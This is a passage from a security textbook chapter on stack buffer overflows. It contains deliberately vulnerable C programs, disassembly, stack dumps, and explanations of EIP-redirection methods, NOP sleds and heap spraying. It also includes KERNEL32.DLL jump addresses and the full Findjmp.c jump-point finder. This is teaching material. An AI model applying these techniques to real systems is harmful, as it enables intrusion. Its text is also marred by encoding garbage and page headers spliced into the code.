cdecl, arguments are passed to functions in reverse order on the stack. However,
unlike cdecl calling syntax, it is up to the called function to readjust the stack
pointers before returning.This is useful because it frees the caller from having to
worry about this, and it can also save some code space as the code to readjust the
stack is only in the function rather than residing everywhere the function is
called. Almost the entire WIN32 API is written using the standard call syntax. It is
sometimes known as stdcall.
The third type of calling syntax is called fast call syntax. It is very similar to
standard call syntax in that it is up to the called function to clean up after itself. It
differs from standard call syntax, however, in the way arguments are passed to the
stack. Fast call syntax states that the first two arguments to a function are passed
directly in registers, meaning that they are not required to be pushed onto the
stack and the called function can reference them directly using the registers in
which they were passed. Delphi-generated code tends to use fast call syntax, and
it is also a common syntax in the NT kernel space.
Finally, there is one last calling syntax, called naked. In reality, this is the opposite
of a calling syntax, as it removes all code designed to deal with calling syntaxes
in a function and forces the function&iexcl;&brvbar;s programmer to deal with the details.
Naked is rarely used, and when it is used, it&iexcl;&brvbar;s typically for a very good reason
(such as supporting a very old piece of binary code).
Learning about Buffer Overflows
A buffer overflows when too much data is put into it.Think of a buffer as a glass
of water; you can fill the glass until it is full, but any additional water added to
that glass will spill over the edge. Buffers are much like this, and the C language
(and its derivatives, like C++), offer many ways to cause more to be put into a
buffer than was anticipated.
The problem arises when taken into the context that we have laid out before.
As you have seen, local variables can be allocated on the stack (see the 16-byte
buffer variable from figures 8.1 and 8.4).This means that there is a buffer of a set
size sitting on the stack somewhere. Since the stack grows down and there are
www.syngress.com
258 Chapter 8 &iexcl;E Buffer Overflow
very important pieces of information stored there, what happens if you put more
data into the stack allocated buffer than it can handle? Like the glass of water, it
overflows!
When 16 bytes of data are copied into the buffer from Figure 8.1, it becomes
full.When 17 bytes get copied, one byte spills over into the area on the stack
devoted to holding int2.This is the beginning of data corruption. All future references
to int2 will give the wrong value. If this trend continues, and we put 28
bytes in, we control what EBP points to, at 32 bytes, we have control of EIP.
When a ret happens and it pops our overwritten EIP and then jumps to it, we
take control. After gaining control of EIP, we can make it point to anywhere we
want, including code we have provided.
The C language has a saying attributed to it:&iexcl;§We give you enough rope to
hang yourself &iexcl;&uml;. Basically, this means that with the degree of power over the
machine that C offers, it has its potential problems as well. C is a loosely typed
language, so there aren&iexcl;&brvbar;t any safeguards to make you comply with any data rules.
Many buffer overflows happen in C due to poor handling of string data types.
Table 8.1 shows some of the worst offenders in the C language.The table is by
no means a complete table of problematic functions, but will give you a good
idea of some of the more dangerous and common ones.
Table 8.1 A Sampling of Problematic Functions in C
Function Description
char *strcpy( char *strDestination, This function will copy a string from
const char *strSource ) strSource to strDestination
char *strcat( char *strDestination, This function adds (concatenates) a string
const char *strSource ) to the end of another string in a buffer
int sprintf( char *buffer, const This function operates like printf, except
char *format [, argument] ... ) this copies the output to buffer instead of
printing to the stdout stream.
char *gets( char *buffer ) Gets a string of input from the stdin
stream and stores it in buffer
In the next section, we will create a simple overflowable program and attempt
to feed it too much data. Later, we will go over how to make the program execute
code that does what we want it to do.
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 259
A Simple Uncontrolled
Overflow: A Sample Program
The code shown in Figure 8.10 is a very simple example of an uncontrolled over-
flow.This is not really exploitable, but still makes for a useful example.This demonstrates
a more commonly made programming error, and the bad effects it can have
on the stability of your program.The program simply calls the bof function. Once
in the bof() function, a string of 20 As is copied into a buffer that can hold 8 bytes.
What results is a buffer overflow.Notice that the printf in the main function will
never be called, as the overflow diverts control on the attempted return from bof().
This should be complied as a Release build with no optimizations.
Figure 8.10 A Simple Uncontrolled Overflow of the Stack
/*
chapter 8 - sample 3
This is a program to show a simple uncontrolled overflow
of the stack. It is inteded to overflow EIP with
0x41414141, which is AAAA in ascii
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof()
{
char buffer[8]; /* an 8 byte character buffer */
/*copy 20 bytes of A into the buffer*/
strcpy(buffer,"AAAAAAAAAAAAAAAAAAAA");
/*return, this will cause an access violation
due to stack corruption. We also take EIP*/
return 1;
}
www.syngress.com
Continued
260 Chapter 8 &iexcl;E Buffer Overflow
int main(int argc, char **argv)
{
bof(); /*call our function*/
/*print a short message, execution will
never reach this point */
printf("Not gonna do it!\n");
return 1; /*leaves the main func*/
}
The Disassembly
The disassembly in Figure 8.11 shows the simple nature of this program.Take
special notice of how no stack variables are created for main, and how the buffer
variable in bof() is used uninitialized. Sometimes this fact alone may cause problems
and potential overflows in your code, depending on what is on the stack
when the variable is created, and how it is used. It is recommended you use the
memset or bzero functions to zero out stack variables before you use them.
Figure 8.11 Disassembly of an Overflowable Program
_bof proc near
buffer = byte ptr -8
;bof's prologue
push EBP
mov EBP, ESP
;make room on the stack for the local variables
sub ESP, 8
;push the second argument to strcpy (20 bytes of A)
push offset aAaaaaaaaaaaaaa ; const char *
;push the first argument to strcpy (the local stack var, buffer)
lea EAX, [EBP+buffer]
www.syngress.com
Figure 8.10 Continued
Continued
Buffer Overflow &iexcl;E Chapter 8 261
push EAX ; char *
;call strcpy
call _strcpy
;clean up the stack after the call
add ESP, 8
;set the return value in EAX
mov EAX, 1
;bof's epilogue
mov ESP, EBP
pop EBP
;return control to main
retn
_bof endp
; ||| S U B R O U T I N E |||
; Attributes: bp-based frame
_main proc near
;main's prologue
push EBP
mov EBP, ESP
;call our vulnerable function, bof
call _bof
;push 1st arg to printf (static format string)
push offset aNotGonnaDoIt ; "Not gonna do it!\n"
;call printf
call _printf
;clean up after the stack
add ESP, 4
www.syngress.com
Figure 8.11 Continued
Continued
262 Chapter 8 &iexcl;E Buffer Overflow
;set the return value in EAX
mov EAX, 1
;main's epilogue
pop EBP
retn
_main endp
The Stack Dumps
These stack dumps clearly show the progression of the program&iexcl;&brvbar;s stack and what
happens in the event of an overflow. Although this time we chose not to directly
control EIP, Figure 8.12 shows the concepts that will allow us to take complete
control of it later, and use it to execute code of our choice.
Figure 8.12 In main, pre Call to bof
0012FF80 C0 FF 12 00 Ay.. ; saved EBP for main
0012FF84 15 12 40 00 ..@. ; saved EIP for returning out of main
Since there were no local variables in main, there isn&iexcl;&brvbar;t much to look at on the
stack, just the stored EBP and EIP values from before main (Figure 8.13).
Figure 8.13 In bof, pre strcpy Pushes
0012FF70 00 02 00 00 .... ; buffer, 8 bytes, no init, so it has
0012FF74 04 00 00 00 .... ; whatever was in there previously
0012FF78 80 FF 12 00 y.. ; saved EBP for bof
0012FF7C 28 10 40 00 (.@. ; saved EIP for returning out of bof
We have entered bof and are before the pushes. Since we did not initialize any
data in the buffer, it still has arbitrary values that were already on the stack
(Figure 8.14).
Figure 8.14 In bof, post strcpy Pushes, pre Call
0012FF68 70 FF 12 00 py.. ; arg 1 passed to strcpy. addr of buffer
0012FF6C 30 70 40 00 0p@. ; arg 2 passed to strcpy. addrof the A's
0012FF70 00 02 00 00 .... ; buffer, 8 bytes, no init, so it has
www.syngress.com
Figure 8.11 Continued
Continued
Buffer Overflow &iexcl;E Chapter 8 263
0012FF74 04 00 00 00 .... ; whatever was in there previously
0012FF78 80 FF 12 00 y.. ; saved EBP for bof
0012FF7C 28 10 40 00 (.@. ; saved EIP for returning out of bof
Now we have pushed the two arguments for strcpy onto the stack.The first
argument points back into the stack at our variable buffer, and the second points
to a static buffer containing 20 As.
Figure 8.15 In bof, post strcpy (Compare to Figure 8.13)
0012FF70 41 41 41 41 AAAA ; buffer, 8 bytes, now A's
0012FF74 41 41 41 41 AAAA ; buffer continued
0012FF78 41 41 41 41 AAAA ; saved EBP for bof, now A's
0012FF7C 41 41 41 41 AAAA ; saved EIP for reting out of bof, now A's
As you can see, all of the data on the stack have been wiped out by the strcpy.
At the end of the bof function, the epilogue will attempt to pop EBP off the
stack and will only pop 0x414141. After that, ret will try to pop off EIP and jump
to it.This will cause an access violation since ret will pop 0x41414141 into EIP,
and that points to an invalid area of memory (see Figure 8.16).
Creating Your First Overflow
Now that the general concept of buffer overflows has been examined, it is time
to build our first overflow exploit. For the sake of simplicity and learning, this
overflow will be clearly defined and exploitation of this overflow will be walked,
www.syngress.com
Figure 8.14 Continued
Figure 8.16 Crash Window Showing Overwritten EIP and EBP
264 Chapter 8 &iexcl;E Buffer Overflow
step-by-step, to exploitation. For this example, a simple exploit will be written for
both the Windows NT and Linux platforms.
Creating a Program with
an Exploitable Overflow
First, our goal is to have an exploitable program and an understanding of how
and why it is exploitable.The program we will be using is very similar to the last
example; however, it will accept user input instead of using a static string. By
doing this we can control where EIP takes us and what it will do.
Writing the Overflowable Code
The code presented in the following Figures (starting with Figure 8.17), is
designed to read input from a file into a small stack-allocated variable.This will
cause an overflow, and since we control the input in the file, it will provide us
with an ideal learning ground to examine how buffer overflows can be exploited.
The code here makes a call to the bof() function. Inside the bof() function, it opens
a file named &iexcl;§badfile&iexcl;&uml;. It then reads up to 1024 bytes from badfile and finally
closes the file. If things add up, it should overflow on the return from bof(), giving
us control of EIP based on our badfile.We will examine exploitation of this program
on both Linux and Windows, giving you an example on each platform.
Figure 8.17 A Program to Show a Simple Controlled Overflow of the Stack
/*
chapter 8 - sample 4
This is a program to show a simple controlled overflow
of the stack. It is supposed to be paired with a
file we will produce using an exploit program.
For simplicity's sake, the file is hardcoded to
badfile
*/
#include <stdlib.h>
#include <stdio.h>
int bof()
{
www.syngress.com
Continued
Buffer Overflow &iexcl;E Chapter 8 265
char buffer[8]; /* an 8 byte character buffer */
FILE *badfile;
/*open badfile for reading*/
badfile=fopen( "badfile", "r" );
/*this is where we overflow. Reading 1024 bytes
into an 8 byte buffer is a "bad thing" */
fread( buffer, sizeof( char ), 1024, badfile );
/*return*/
return 1;
}
int main(int argc, char **argv)
{
bof(); /*call our function*/
/*print a short message, execution
will never reach this point */
printf("Not gonna do it!\n");
return 1; /*leaves the main func*/
}
Disassembling the Overflowable Code
Since this program is so similar to the last one, we will forgo the complete disassembly.
Instead, we will only show the dump of the new bof() function, with an
explanation on where it is vulnerable (Figure 8.18). If fed a long file, the overflow
will happen after the fread, and control of EIP will be gained on the ret from this
function.
www.syngress.com
Figure 8.17 Continued
266 Chapter 8 &iexcl;E Buffer Overflow
Figure 8.18 Disassembly of Overflowable Code
_bof proc near ; CODE XREF: _main+3p
buffer = byte ptr -0Ch
badfile = dword ptr -4
;function prologue
push EBP
mov EBP, ESP
sub ESP, 0Ch
;push "r", the 2nd argument to fopen. This tells fopen
;to open the file for reading
push offset aR ; "r"
;push "r", the 1st argument to fopen. This tells fopen
;which file to open
push offset aCBadfile ; "badfile"
;call fopen
call _fopen
;correct the stack after the call
add ESP, 8
;set the local badfile variable to what fopen returned
mov [EBP+badfile], EAX
;push the 4th argument to fread, which is the file handle
;returned from fopen
mov EAX, [EBP+badfile]
push EAX
;push the 3rd argument to fread. This is the max number
;of bytes to read
push 400h
; push the 2nd argument to fread. This is the size of char
push 1
;push the 1st argument to fread. this is our local buffer
lea ECX, [EBP+buffer]
push ECX
www.syngress.com
Continued
Buffer Overflow &iexcl;E Chapter 8 267
;call fread
call _fread
;correct the stack after fread
add ESP, 10h
;set the return value in EAX
mov EAX, 1
;function epilogue
mov ESP, EBP
pop EBP
;return to main
retn
_bof endp
Stack Dump after the Overflow
Since this program is focused on being vulnerable, we will show the stack after
the fread. For a quick example, we have created a badfile that contained 20 As (see
Figure 8.19).This generates a stack very similar to that of our last program,
except this time we control the input buffer via the badfile. Remember that we
have an additional stack variable beyond the buffer in the form of the file handle
pointer.
Figure 8.19 The Stack after the fread() Call
0012FF6C 41 41 41 41 AAAA ; buffer
0012FF70 41 41 41 41 AAAA
0012FF74 41 41 41 41 AAAA ; badfile pointer
0012FF78 41 41 41 41 AAAA ; saved EBP
0012FF7C 41 41 41 41 AAAA ; saved EIP
Performing the Exploit
After verifying the overflow using the sample badfile, we are ready to write our
first set of exploits for this program. Since the supplied program is ANSI Cwww.
syngress.com
Figure 8.18 Continued
268 Chapter 8 &iexcl;E Buffer Overflow
compliant, it should compile cleanly using any ANSI C-compliant compiler. For
our examples, we are using Visual C++ for Windows NT and GCC for Linux.
We will begin with Linux exploitation, because it tends to be simpler.You
will get to see the differences in the exploitation techniques you will need to use
when attacking different platforms.
General Exploit Concepts
Exploitation under any platform requires a bit of planning and explanation.We
have taken our overflows to the stage where we can control EIP.We must now
understand what this allows us to do, and how we can take advantage of this situation
to gain control of the machine.
Once processor control is gained, you must choose where to divert control of
the code. Usually, you will be pointing the EIP to code that you have written,
either directly or indirectly.This is known as your payload.The payloads for this
exploit are very simple, designed as proof-of-concept code to show that code of
your choosing can be executed. More advanced payload designs are examined
later in this chapter.
Successful exploits have a few aspects in common.We will cover some general
overview concepts that apply to most types of exploits.
First, you need a way to inject the buffer.This means that you need a way to
get your data into the buffer you want to overflow. Next, you will use a technique
to leverage the controlled EIP to get your own code to execute.There are
many ways to get the EIP to point at your code. Finally, you need a payload, or
code that you want executed.
Buffer Injection Techniques
The first thing you need to do to create an exploit is to find a way to get your
large buffer into the overflowable buffer.This is typically a simple process,
automating filling a buffer over the network, or writing a file that is later read by
the vulnerable process. Sometimes, however, getting your buffer to where it needs
to be can be a challenge in itself.
Optimizing the Injection Vector
The military has a workable concept of delivery and payload, and we can use the
same concept here.When we talk about a buffer overflow, we talk about the injection
vector and the payload.The injection vector is the custom operational code
(opcode) you need to actually control the instruction pointer on the remote
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 269
machine.This is machine-and target-dependent.The whole point of the injection
vector is to get the payload to execute.The payload, on the other hand, is a lot
like a virus: it should work anywhere, anytime, regardless of how it was injected
into the remote machine. If your payload does not operate this way, it is not
clean. If you wrote buffer overflows for the military, they would want clean payloads,
and that is a good approach to take to your code. Let&iexcl;&brvbar;s explore what it takes
to code a clean payload.
Determining the Location of the Payload
Your payload does not have to be located in the same place as your injection
vector; commonly, it is just easier to use the stack for both.When you use the
stack for both payload and injection vector, however, you have to worry about
the size of payload and how the injection vector interacts with the payload. For
example, if the payload starts before the injection vector, you need to make sure
they don&iexcl;&brvbar;t collide. If they do, you have to include a jump in the payload to jump
over the injection code &iexcl;X then the payload can continue on the other side of
the injection vector. If these problems become too complex, then you need to
put your payload somewhere else.
All programs will accept user input and store it somewhere.Any location in
the program where you can store a buffer becomes a candidate for storing a payload.
The trick is to get the processor to start executing that buffer.
Some common places to store payloads include:
 Files on disk which are then loaded into memory
 Environment variables controlled by a local user
 Environment variables passed within a Web request (common)
 User-controlled fields within a network protocol
Once you have injected the payload, the task is simply to get the instruction
pointer to load the address of the payload.The beauty of storing the payload
somewhere other than the stack is that amazingly tight and difficult-to-exploit
buffer overflows suddenly become possible. For example, you are free from constraints
on the size of the payload. A single off-by-one error can still be used to
take control of a computer.
www.syngress.com
270 Chapter 8 &iexcl;E Buffer Overflow
Methods to Execute Payload
The following sections explain the variety of techniques that can be used to execute
payload.We focus on ways to decide what to put into the saved EIP on the
stack to make it finally point to our code.Often, there is more to it than just
knowing the address our code is at, and we will explore techniques to find alternate,
more portable ways.
Direct Jump (Guessing Offsets)
The direct jump means that you have told your overflow code to jump directly to
a specific location in memory. It uses no tricks to determine the true location of
the stack in memory.The downfalls of this approach are twofold. First, the address
of the stack may contain a null character, so the entire payload will need to be
placed before the injector. If this is the case, it will limit the available space for
your payload. Second, the address of your payload is not always going to be the
same.This leaves you guessing the address to you wish to jump.This technique,
however, is simple to use. On UNIX machines, the address of the stack often
does not contain a null character, making this the method of choice for UNIX
overflows. Also, there are tricks that make guessing the address much easier. (See
the &iexcl;§NOP Sled&iexcl;&uml; section later in the chapter.) Lastly, if you place your payload
somewhere other than on the stack, the direct jump becomes the method of
choice.
Blind Return
The ESP register points to the current stack location.Any ret instruction will
cause the EIP register to be loaded with whatever is pointed to by the ESP.This
is called popping. Essentially the ret instruction causes the topmost value on the
stack to be popped into the EIP, causing the EIP to point to a new code address. If
the attacker can inject an initial EIP value that points to a ret instruction, the
value stored at the ESP will be loaded into the ESI.
A whole series of techniques use the processor registers to get back to the
stack.There is nothing you can directly inject into the instruction pointer that
will cause a register to be used for execution as shown in Figure 8.20. Obviously,
you must make the instruction pointer point to a real instruction as shown in
Figure 8.21.
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 271
Pop Return
If the value on the top of the stack does not point to an address within the
attacker&iexcl;&brvbar;s buffer, the injected EIP can be set to point to a series of pop instructions,
followed by a ret as shown in Figure 8.22.This will cause the stack to be
popped a number of times before a value is used for the EIP register.This works
if there is an address near the top of the stack that points to within the attacker&iexcl;&brvbar;s
buffer.The attacker just pops down the stack until the useful address is reached.
This method was used in at least one public exploit for Internet Information
Server (IIS).
www.syngress.com
Figure 8.20 The Instruction Pointer Cannot Go Directly to a Register
Stack
Register
Register
Injected Address
Register
CPU
Instruction Pointer
Figure 8.21 The Instruction Pointer Must Point to a Real Instruction
Stack
Register
Register
Injected Address
Register
CPU
PUSH EAX
RET
or
CALL EAX
Instruction Pointer
272 Chapter 8 &iexcl;E Buffer Overflow
- pop EAX 58
- pop EBX 5B
- pop ECX 59
- pop EDX 5A
- pop EBP 5D
- pop ESI 5E
- pop EDI 5F
- ret C3
Call Register
If a register is already loaded with an address that points to the payload, the
attacker simply needs to load the EIP to an instruction that performs a &iexcl;§call
EDX&iexcl;&uml; or &iexcl;§call EDI&iexcl;&uml; or equivalent (depending on the desired register).
- call EAX FF D0
- call EBX FF D3
- call ECX FF D1
- call EDX FF D2
- call ESI FF D6
- call EDI FF D7
- call ESP FF D4
A search of process memory found the following useful pairs (in
KERNEL32.DLL):
www.syngress.com
Figure 8.22 Using a Series of pops and a ret To Reach a Useful Address
Popped Stack
(Gone)
POP
POP
RET
Register
Register
Injected Address
Register
CPU
Instruction Pointer
Stack
Buffer Overflow &iexcl;E Chapter 8 273
77F1A2F7 FF D0 call EAX
77F76231 FF D0 call EAX
7FFD29A7 FF D0 call EAX ; a whole block of this pattern exists
7FFD2DE3 FF E6 jmp ESI ; a whole block of this pattern exists
7FFD2E27 FF E0 jmp EAX ; a whole block of this pattern exists
77F3D793 FF D1 call ECX
77F7CEA7 FF D1 call ECX
77F94510 FF D1 call ECX
77F1B424 FF D3 call EBX
77F1B443 FF D3 call EBX
77F1B497 FF D3 call EBX
77F3D8F3 FF D3 call EBX
77F63D01 FF D3 call EBX
77F9B14F FF D4 call ESP
77F020B0 FF D6 call ESI
77F020D5 FF D6 call ESI
77F02102 FF D6 call ESI
77F27CAD FF D6 call ESI
77F27CC2 FF D6 call ESI
77F27CDB FF D6 call ESI
77F01089 FF D7 call EDI
77F01129 FF D7 call EDI
77F01135 FF D7 call EDI
These pairs can be used from almost any normal process. Since these are part
of the kernel interface DLL, they will normally be at fixed addresses, which you
can hard-code. However, they will likely differ between Windows versions of, and
possibly depending on which Service Pack is applied.
Push Return
Only slightly different from the Call Register method, the Push Return method
also uses the value stored in a register. If the register is loaded but the attacker
cannot find a call instruction, another option is to find a &iexcl;§push <register>&iexcl;&uml; followed
by a return.
- push EAX 50
- push EBX 53
www.syngress.com
274 Chapter 8 &iexcl;E Buffer Overflow
- push ECX 51
- push EDX 52
- push EBP 55
- push ESI 56
- push EDI 57
- ret C3
Kernel32.DLL contains the following useful pairs:
77F3FD18 push EDI
77F3FD19 ret
(?)
77F8E3A8 push ESP
77F8E3A9 ret
Findjmp&iexcl;XFinding Useful Jump Points
We have written a small program (Figure 8.23) that takes a DLL and a register
name from the command line and searches the DLL for any useable address that
contains a redirection to that register. It supports Push Return, Call Register, and
Jump Register.
This finds useful jump points in a DLL. Once you overflow a buffer, it is
likely that you will find a reference to your code by looking in the various registers.
This program will find addresses suitable to overwrite the EIP that will
return to your code.
It should be easy to modify this to search for other good jump points, or specific
code patterns within a DLL.
It currently supports looking for:
1. jmp reg
2. call reg
3. push reg / ret
All three options result in the same thing: the EIP being set to reg.
It also supports the following registers:
 EAX
 EBX
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 275
 ECX
 EDX
 ESI
 EDI
 ESP
 EBP
This should be compiled as a console application under and WIN32 environment,
the complete application can be found on the Solutions site for this book
(www.syngress.com/solutions).
Figure 8.23 Findjmp.c
/*
Findjmp.c
written by Ryan Permeh - ryan@eeye.com
http://www.eeye.com
*/
#include <Windows.h>
#include <stdio.h>
void usage();
DWORD GetRegNum(char *reg);
void findjmp(char *dll,char *reg);
/*This finds useful jump points in a dll. Once you overflow a buffer,
by looking in the various registers, it is likely that you will find a
reference to your code. This program will find addresses of suitable
instructions that will return to your code. */
int main(int argc, char **argv)
{
char dll[512], //holder for the dll to look in
reg[512]; // holder for the register
www.syngress.com
Continued
276 Chapter 8 &iexcl;E Buffer Overflow
if(argc<2) usage();
strncpy(dll,argv[1],512);
strncpy(reg,argv[2],512);
findjmp(dll,reg);
}
This prints the usage information.
void usage()
{
printf("FindJmp usage\nfindjmp DLL reg\nEx: findjmp KERNEL32.DLL
ESP\n");
exit (0);
}
/*The findjmp function is the workhorse. It loads the requested dll,
and searches for specific patterns for jmp reg, push reg ret, and call
reg.*/
void findjmp(char *dll,char *reg)
{
/* patterns for jmp ops */
BYTE jmppat[8][2]= {{0xFF,0xE0},{0xFF,0xE3},{0xFF,0xE1},{0xFF,0xE2},
{0xFF,0xE6},{0xFF,0xE7},{0xFF,0xE4},{0xFF,0xE5}};
/* patterns for call ops */
BYTE callpat[8][2]= {{0xFF,0xD0},{0xFF,0xD3},{0xFF,0xD1},{0xFF,0xD2},
{0xFF,0xD6},{0xFF,0xD7},{0xFF,0xD4},{0xFF,0xD5}};
/* patterns for pushret ops */
BYTE pushretpat[8][2]= {{0x50,0xC3},{0x53,0xC3},{0x51,0xC3},{0x52,0xC3},
{0x56,0xC3},{0x57,0xC3},{0x54,0xC3},{0x55,0xC3}};
/*base pointer for the loaded DLL*/
HMODULE loadedDLL;
www.syngress.com
Figure 8.23 Continued
Buffer Overflow &iexcl;E Chapter 8 277
/*current position within the DLL */
BYTE *curpos;
/* decimal representation of passed register */
DWORD regnum=GetRegNum(reg);
/*accumulator for addresses*/
DWORD numaddr=0;
/*check if register is useable*/
if(regnum == -1)
{
/*it didn't load, time to bail*/
printf("There was a problem understanding the
register.\n"\
"Please check that it is a correct IA32 register name\n"\
"Currently supported are:\n "\
"EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP\n"\
);
exit(-1);
}
loadedDLL=LoadLibraryA(dll);
/* check if DLL loaded correctly*/
if(loadedDLL == NULL)
{
/*it didn't load, time to bail*/
printf("There was a problem Loading the requested
DLL.\n"\
"Please check that it is in your path and readable\n" );
exit(-1);
}
www.syngress.com
278 Chapter 8 &iexcl;E Buffer Overflow
else
{
/*we loaded the dll correctly, time to scan it*/
printf("Scanning %s for code useable with the %s register\n",
dll,reg);
/*set curpos at start of DLL*/
curpos=(BYTE*)loadedDLL;
__try
{
while(1)
{
/*check for jmp match*/
if(!memcmp(curpos,jmppat[regnum],2))
{
/* we have a jmp match */
printf("0x%X\tjmp %s\n",curpos,reg);
numaddr++;
}
/*check for call match*/
else if(!memcmp(curpos,callpat[regnum],2))
{
/* we have a call match */
printf("0x%X\tcall %s\n",curpos,reg);
numaddr++;
}
/*check for push/ret match*/
else if(!memcmp(curpos,pushretpat[regnum],2))
{
/* we have a pushret match */
printf("0x%X\tpush %s &iexcl;V"\
" ret\n",curpos,reg);
numaddr++;
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 279
}
curpos++;
}
}
__except(1)
{
printf("Finished Scanning %s for code useable with"\
" the %s register\n",dll,reg);
printf("Found %d usable addresses\n",numaddr);
}
}
}
DWORD GetRegNum(char *reg)
{
DWORD ret=-1;
if(!stricmp(reg,"EAX"))
{
ret=0;
}
else if(!stricmp(reg,"EBX"))
{
ret=1;
}
else if(!stricmp(reg,"ECX"))
{
ret=2;
}
else if(!stricmp(reg,"EDX"))
{
ret=3;
}
else if(!stricmp(reg,"ESI"))
www.syngress.com
280 Chapter 8 &iexcl;E Buffer Overflow
{
ret=4;
}
else if(!stricmp(reg,"EDI"))
{
ret=5;
}
else if(!stricmp(reg,"ESP"))
{
ret=6;
}
else if(!stricmp(reg,"EBP"))
{
ret=7;
}
/*return our decimal register number*/
return ret;
}
What Is an Offset?
Offset is a term used primarily in local buffer overflows. Since multi-user
machines are traditionally UNIX-based, we have seen the word offset used a lot in
UNIX-based overflows. On a UNIX machine, you typically have access to a
compiler&iexcl;Xand the attacker usually compiles his or her exploit directly on the
machine he or she intends to attack. In this scenario, the attacker has some sort of
user account and usually wishes to obtain root.The injector code for a local
exploit sometimes calculates the base of its own stack&iexcl;Xand assumes that the program
being attacked has the same base. For convenience, the attacker can then
specify the offset from this address for a Direct Jump. If everything works properly,
the base+offset value of the attacking code will match that of the victim code.
No Operation (NOP) Sled
If you are using a direct address when injecting code, you will be left with the
burden of guessing exactly where your payload is located in memory, which is
next to impossible.The problem is that your payload will not always be in the
exact same place. Under UNIX, it is common that the same software package is
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 281
recompiled on different systems, different compilers, and different optimization
settings What works on one copy of the software may not work on another. So,
to minimize this effect and decrease the required precision of a smash, we use the
No Operation (NOP) Sled.The idea is simple.A NOP is an instruction that does
nothing; it only takes up space (Incidentally, the NOP was originally created for
debugging). Since the NOP is only a single byte long, it is immune to the problems
of byte ordering and alignment issues.
The trick involves filling our buffer with NOPs before the actual payload. If
we incorrectly guess the address of the payload, it will not matter, as long as we
guess an address that lands somewhere on a NOP. Since the entire buffer is full of
NOPs, we can guess any address that lands in the buffer. Once we land on a
NOP, we will begin executing each NOP.We slide forward over all the NOPs
until we reach our actual payload.The larger the buffer of NOPs, the less precise
we need to be when guessing the address of our payload.
Designing Payload
Payload is very important. Once the payload is being executed, there are many
tricks for adding functionality.This can be one of the most rewarding and creative
components of an exploit.
Coding the Payload
I don&iexcl;&brvbar;t believe in doing things the hard way. Most of the exploits you see published
include wild blocks of unidentifiable machine code. I don&iexcl;&brvbar;t like this.There
is a far better way to encode payloads: simply write them in C, C++, or inline
assembly, and then copy the compiled code directly into your payload. Integrating
assembly and C is easy to do using most compilers&iexcl;XI call it the fusion technique.
Let&iexcl;&brvbar;s explore this a bit further.
The Fusion Technique is just a simpler way to encode and compile assembly
language and perform unconventional tricks. One of these tricks involves
injecting code into other process spaces.Windows NT has established ways to
accomplish this if for authenticated users. If you are not an authenticated user,
you can still accomplish this through a buffer overflow. Either way, you are
injecting code into a remote process space.
Heap Spraying
During research into exploitation of the .IDA IIS 4/5/6 vulnerability, we came
across a strange situation.We were very limited as to which addresses we could
reach with our overflowed EIP.The .IDA vulnerability was a buffer overflow in a
www.syngress.com
282 Chapter 8 &iexcl;E Buffer Overflow
wide string operation. In other words, it took a normal string,&iexcl;§AAAA&iexcl;&uml;
(hex 0x41414141), and converted it to a wide character string (hex
0x0041004100410041).This put us in a strange position as there was no code
loaded at any address starting with a 0x00.This meant that the traditional way of
getting to our payload code via a jmp ESP or jmp register would not work. Also,
it had the unfortunate effect of putting null bytes every other byte throughout
our payload code.To overcome this problem, we used a new technique called
&iexcl;§forcing the heap,&iexcl;&uml; which is a type of heap violation. General heap attacks will be
covered later in this chapter.This differs from a normal heap attack, since we did
not overflow on the heap, but rather on the stack.This technique has proven very
useful for us in the exploitation of wide character overflows in other circumstances
as well.
When we looked at the memory addresses to which we had access, namely
0x00aa00bb (where we controlled aa and bb), we noticed that IIS had its heap in
that address range.Whenever a request was given to IIS, it would store sessionspecific
data in the heap.One of the things that we found was that at points there
were specific HTTP environment variables supplied by the user in this memory
range. However, there were none within the direct range over which we had
control. Spraying the heap involved creating a type of NOP sled on the heap,
then using a direct jump onto the heap.This allowed us to overflow the stack and
take control of the EIP by referencing directly into the heap, then execute the
code directly from the heap.
One of the benefits of this exploitation technique is that by using a different
method of exploitation, we were able to avoid having nulls inserted into our payload
code by the wide copy, and we had a very large amount of payload space
available to us.This technique was also beneficial because it did not require specific
knowledge of any jump offsets in any loaded DLL because it directly referenced
the heap memory.
The downside of this code is that it required quite a large NOP sled to get
our code aligned on the heap at an address we could reliably use.
A different exploitation technique, using %u (Unicode encoding) was developed
by a Japanese security researcher named hsj.This technique allows all 4
bytes of the EIP to be controlled, resulting in a more traditional buffer overflow
technique.This just goes to show that there is often more than one way to attack
a problem.This type of encoding is specific to IIS, and so its use works well here,
but the general heap spraying is useful in many wide character overflow scenarios,
even when encoding is not possible.
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 283
Performing the Exploit on Linux
The popularity of Linux has grown phenomenally in recent times. Despite
having complete source code for auditing and an army of open source developers,
bugs like this still show up. However, overflows often reside in code that is
not directly security related because the code may be executing in the context of
your user. For this example, however, we are focusing on the application of techniques
that can be used in numerous situations, some of which may be security
related.
For this example we will develop a simple Linux exploit to write a string to
screen. It acts like a simple C program using write().
First let&iexcl;&brvbar;s create a simple program to accomplish this:
-----write.c------
int main()
{
write(1,"EXAMPLE\n",10);
}
-----write.c------
Now paste that into a file called write.c, then compile it with GCC and
execute it.
bash$ gcc write.c -o example --static
bash$ ./example
EXAMPLE
bash$
Simple enough. Now we want to see what exactly is going on. So we use the
gdb utility, which has more features than you could possibly imagine. If you know
them all, you really need another hobby.We&iexcl;&brvbar;re going to stick with the basic features.
First we open up our example program:
---------------------------------
bash$ gdb ./example
GNU gdb 5.1
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are welcome to change it and/or
www.syngress.com
284 Chapter 8 &iexcl;E Buffer Overflow
distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb)
---------------------------------
Your version may be slightly different but it shouldn&iexcl;&brvbar;t matter; all the features
we will use will almost without a doubt be in your version of gdb.
We want to see the code in the main() function, specifically the code that calls
write(). So to do this we type disassemble main from the prompt.The disassemble
command just shows the function code in the assembly language of the
